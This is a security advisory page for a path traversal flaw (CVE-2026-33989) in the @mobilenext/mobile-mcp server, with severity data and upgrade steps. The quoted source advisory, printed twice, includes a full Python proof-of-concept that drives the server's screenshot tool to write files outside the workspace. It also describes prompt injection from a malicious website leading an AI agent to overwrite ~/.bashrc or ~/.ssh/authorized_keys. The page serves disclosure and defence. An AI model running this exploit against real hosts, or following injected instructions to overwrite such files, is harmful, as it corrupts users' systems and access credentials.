CVE-2026-33989: @mobilenext/mobile mcp Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-3p2m-h2v6-g9mx
CVSS 8.1
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-33989 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting @mobilenext/mobile mcp libraries in the npm ecosystem. The issue involves @mobilenext/mobile-mcp alllows arbitrary file write via path traversal in mobile screen capture tools. Remediation is available by upgrading affected packages to version 0.0.49.

CVE-2026-33989 at a Glance

CVE Identifier CVE-2026-33989
GHSA Identifier GHSA-3p2m-h2v6-g9mx
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product @mobilenext/mobile mcp
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33989

To remediate this vulnerability, upgrade all affected @mobilenext/mobile mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@mobilenext/mobile-mcp fixed: 0.0.49
npm install @mobilenext/mobile-mcp@0.0.49
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @mobilenext/mobile-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-33989, inspect your project dependencies using npm:

npm ls @mobilenext/mobile-mcp

Analyze the terminal output to locate any version of @mobilenext/mobile mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.49), your application is affected.

Note: The npm ls @mobilenext/mobile-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In @mobilenext/mobile mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. ### Details **File:** `src/server.ts` (lines 584-592) ```typescript tool( "mobile_save_screenshot", "Save Screenshot", "Save a screenshot of the mobile device to a file", { device: z.string().describe("The device identifier..."), saveTo: z.string().describe("The path to save the screenshot to"), }, { destructiveHint: true }, async ({ device, saveTo }) => { const robot = getRobotFromDevice(device); const screenshot = await robot.getScreenshot(); fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation return `Screenshot saved to: ${saveTo}`; }, ); ``` ### Root Cause The `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**. ### Additional Affected Tool **File:** `src/server.ts` (lines 597-620) The `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter. ### PoC ```py #!/usr/bin/env python3 import json import os import subprocess import sys import time from datetime import datetime SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"] STARTUP_DELAY = 4 REQUEST_DELAY = 0.5 def log(level, msg): print(f"[{level.upper()}] {msg}") def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY): """Send JSON-RPC message and receive response.""" try: proc.stdin.write(json.dumps(msg) + "\n") proc.stdin.flush() time.sleep(timeout) line = proc.stdout.readline() return json.loads(line) if line else None except Exception as e: log("error", f"Communication error: {e}") return None def send_notification(proc, method, params=None): """Send JSON-RPC notification (no response expected).""" msg = {"jsonrpc": "2.0", "method": method} if params: msg["params"] = params proc.stdin.write(json.dumps(msg) + "\n") proc.stdin.flush() def start_server(): """Start the mobile-mcp server.""" log("info", "Starting mobile-mcp server...") try: proc = subprocess.Popen( SERVER_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) time.sleep(STARTUP_DELAY) if proc.poll() is not None: stderr = proc.stderr.read() log("error", f"Server failed to start: {stderr[:200]}") return None log("info", f"Server started (PID: {proc.pid})") return proc except FileNotFoundError: log("error", "npx not found. Please install Node.js") return None def initialize_session(proc): """Initialize MCP session with handshake.""" log("info", "Initializing MCP session...") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "mcpsec-exploit", "version": "1.0"}, }, }, ) if not resp or "error" in resp: log("error", f"Initialize failed: {resp}") return False send_notification(proc, "notifications/initialized") time.sleep(0.5) server_info = resp.get("result", {}).get("serverInfo", {}) log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}") return True def get_devices(proc): """Get list of connected devices.""" log("info", "Enumerating connected devices...") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "mobile_list_available_devices", "arguments": {}}, }, ) if resp: content = resp.get("result", {}).get("content", [{}])[0].get("text", "") try: devices = json.loads(content).get("devices", []) return devices except: log("warning", f"Could not parse device list: {content[:100]}") return [] def exploit_path_traversal(proc, device_id, target_path): """Execute path traversal exploit.""" log("info", f"Target path: {target_path}") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 100, "method": "tools/call", "params": { "name": "mobile_save_screenshot", "arguments": {"device": device_id, "saveTo": target_path}, }, }, timeout=2, ) if resp: content = resp.get("result", {}).get("content", [{}]) if isinstance(content, list) and content: text = content[0].get("text", "") log("info", f"Server response: {text[:100]}") check_path = target_path if target_path.startswith(".."): check_path = os.path.normpath(os.path.join(os.getcwd(), target_path)) if os.path.exists(check_path): size = os.path.getsize(check_path) log("info", f"FILE WRITTEN: {check_path} ({size} bytes)") return True, check_path, size elif "Screenshot saved" in text: log("info", f"Server confirmed write (file may be at relative path)") return True, target_path, 0 log("warning", "Exploit may have failed or file not accessible") return False, target_path, 0 def main(): device_id = sys.argv[1] if len(sys.argv) > 1 else None proc = start_server() if not proc: sys.exit(1) try: if not initialize_session(proc): sys.exit(1) if not device_id: devices = get_devices(proc) if devices: log("info", f"Found {len(devices)} device(s):") for d in devices: print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})") device_id = devices[0].get("id") log("info", f"Using device: {device_id}") else: log("error", "No devices found. Please connect a device and try again.") log("info", "Usage: python3 exploit.py <device_id>") sys.exit(1) home = os.path.expanduser("~") exploits = [ "../../exploit_2_traversal.png", f"{home}/exploit.png", f"{home}/.poc_dotfile", ] results = [] for target in exploits: success, path, size = exploit_path_traversal(proc, device_id, target) results.append((target, success, path, size)) finally: proc.terminate() log("info", "Server terminated.") if __name__ == "__main__": main() ``` ### Impact A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.

CVE-2026-33989 Affected @mobilenext/mobile mcp Versions

1 component(s)
Fixed Versions:
0.0.49
Product / Package Ecosystem Affected Versions Fixed Version
@mobilenext/mobile-mcp
npm
< 0.0.49
0.0.49

References

Frequently Asked Questions

What is CVE-2026-33989?
CVE-2026-33989 is a security vulnerability in @mobilenext/mobile mcp involving @mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools under CWE-73: External Control of File Name or Path.
Which @mobilenext/mobile mcp versions are affected?
Affected versions include releases prior to 0.0.49 across affected packages: @mobilenext/mobile-mcp.
What version fixes CVE-2026-33989?
Upgrading to 0.0.49 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @mobilenext/mobile-mcp affected?
Yes, @mobilenext/mobile-mcp is affected in releases prior to 0.0.49. Upgrade your dependency to 0.0.49 or later.
What is the CVSS score of CVE-2026-33989?
CVE-2026-33989 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-33989?
CVE-2026-33989 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for CVE-2026-33989?
Run the dependency tree command: 'npm ls @mobilenext/mobile-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p2m-h2v6-g9mx",
  "modified" : "2026-03-30T20:18:39Z",
  "published" : "2026-03-27T19:13:17Z",
  "aliases" : [ "CVE-2026-33989" ],
  "summary" : "@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools",
  "details" : "### Summary\nThe `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.\n\n### Details\n**File:** `src/server.ts` (lines 584-592)\n\n```typescript\ntool(\n    \"mobile_save_screenshot\",\n    \"Save Screenshot\",\n    \"Save a screenshot of the mobile device to a file\",\n    {\n        device: z.string().describe(\"The device identifier...\"),\n        saveTo: z.string().describe(\"The path to save the screenshot to\"),\n    },\n    { destructiveHint: true },\n    async ({ device, saveTo }) => {\n        const robot = getRobotFromDevice(device);\n        const screenshot = await robot.getScreenshot();\n        fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation\n        return `Screenshot saved to: ${saveTo}`;\n    },\n);\n```\n\n### Root Cause\n\nThe `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**.\n\n### Additional Affected Tool\n\n**File:** `src/server.ts` (lines 597-620)\n\nThe `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter.\n\n### PoC\n```py\n#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\n\nSERVER_CMD = [\"npx\", \"-y\", \"@mobilenext/mobile-mcp@latest\"]\nSTARTUP_DELAY = 4\nREQUEST_DELAY = 0.5\n\n\ndef log(level, msg):\n    print(f\"[{level.upper()}] {msg}\")\n\n\ndef send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):\n    \"\"\"Send JSON-RPC message and receive response.\"\"\"\n    try:\n        proc.stdin.write(json.dumps(msg) + \"\\n\")\n        proc.stdin.flush()\n        time.sleep(timeout)\n        line = proc.stdout.readline()\n        return json.loads(line) if line else None\n    except Exception as e:\n        log(\"error\", f\"Communication error: {e}\")\n        return None\n\n\ndef send_notification(proc, method, params=None):\n    \"\"\"Send JSON-RPC notification (no response expected).\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if params:\n        msg[\"params\"] = params\n    proc.stdin.write(json.dumps(msg) + \"\\n\")\n    proc.stdin.flush()\n\n\ndef start_server():\n    \"\"\"Start the mobile-mcp server.\"\"\"\n    log(\"info\", \"Starting mobile-mcp server...\")\n\n    try:\n        proc = subprocess.Popen(\n            SERVER_CMD,\n            stdin=subprocess.PIPE,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            text=True,\n        )\n        time.sleep(STARTUP_DELAY)\n\n        if proc.poll() is not None:\n            stderr = proc.stderr.read()\n            log(\"error\", f\"Server failed to start: {stderr[:200]}\")\n            return None\n\n        log(\"info\", f\"Server started (PID: {proc.pid})\")\n        return proc\n\n    except FileNotFoundError:\n        log(\"error\", \"npx not found. Please install Node.js\")\n        return None\n\n\ndef initialize_session(proc):\n    \"\"\"Initialize MCP session with handshake.\"\"\"\n    log(\"info\", \"Initializing MCP session...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"mcpsec-exploit\", \"version\": \"1.0\"},\n            },\n        },\n    )\n\n    if not resp or \"error\" in resp:\n        log(\"error\", f\"Initialize failed: {resp}\")\n        return False\n\n    send_notification(proc, \"notifications/initialized\")\n    time.sleep(0.5)\n\n    server_info = resp.get(\"result\", {}).get(\"serverInfo\", {})\n    log(\"info\", f\"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}\")\n    return True\n\n\ndef get_devices(proc):\n    \"\"\"Get list of connected devices.\"\"\"\n    log(\"info\", \"Enumerating connected devices...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\"name\": \"mobile_list_available_devices\", \"arguments\": {}},\n        },\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\", \"\")\n        try:\n            devices = json.loads(content).get(\"devices\", [])\n            return devices\n        except:\n            log(\"warning\", f\"Could not parse device list: {content[:100]}\")\n\n    return []\n\n\ndef exploit_path_traversal(proc, device_id, target_path):\n    \"\"\"Execute path traversal exploit.\"\"\"\n    log(\"info\", f\"Target path: {target_path}\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 100,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"mobile_save_screenshot\",\n                \"arguments\": {\"device\": device_id, \"saveTo\": target_path},\n            },\n        },\n        timeout=2,\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])\n        if isinstance(content, list) and content:\n            text = content[0].get(\"text\", \"\")\n            log(\"info\", f\"Server response: {text[:100]}\")\n\n            check_path = target_path\n            if target_path.startswith(\"..\"):\n                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))\n\n            if os.path.exists(check_path):\n                size = os.path.getsize(check_path)\n                log(\"info\", f\"FILE WRITTEN: {check_path} ({size} bytes)\")\n                return True, check_path, size\n            elif \"Screenshot saved\" in text:\n                log(\"info\", f\"Server confirmed write (file may be at relative path)\")\n                return True, target_path, 0\n\n    log(\"warning\", \"Exploit may have failed or file not accessible\")\n    return False, target_path, 0\n\n\ndef main():\n    device_id = sys.argv[1] if len(sys.argv) > 1 else None\n\n    proc = start_server()\n    if not proc:\n        sys.exit(1)\n\n    try:\n        if not initialize_session(proc):\n            sys.exit(1)\n\n        if not device_id:\n            devices = get_devices(proc)\n            if devices:\n                log(\"info\", f\"Found {len(devices)} device(s):\")\n                for d in devices:\n                    print(f\"  - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})\")\n                device_id = devices[0].get(\"id\")\n                log(\"info\", f\"Using device: {device_id}\")\n            else:\n                log(\"error\", \"No devices found. Please connect a device and try again.\")\n                log(\"info\", \"Usage: python3 exploit.py <device_id>\")\n                sys.exit(1)\n\n        home = os.path.expanduser(\"~\")\n\n        exploits = [\n            \"../../exploit_2_traversal.png\",\n            f\"{home}/exploit.png\",\n            f\"{home}/.poc_dotfile\",\n        ]\n\n        results = []\n        for target in exploits:\n            success, path, size = exploit_path_traversal(proc, device_id, target)\n            results.append((target, success, path, size))\n\n    finally:\n        proc.terminate()\n        log(\"info\", \"Server terminated.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nA Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mobilenext/mobile-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.49"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33989"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mobile-next/mobile-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T19:13:17Z",
    "nvd_published_at" : "2026-03-27T22:16:22Z"
  }
}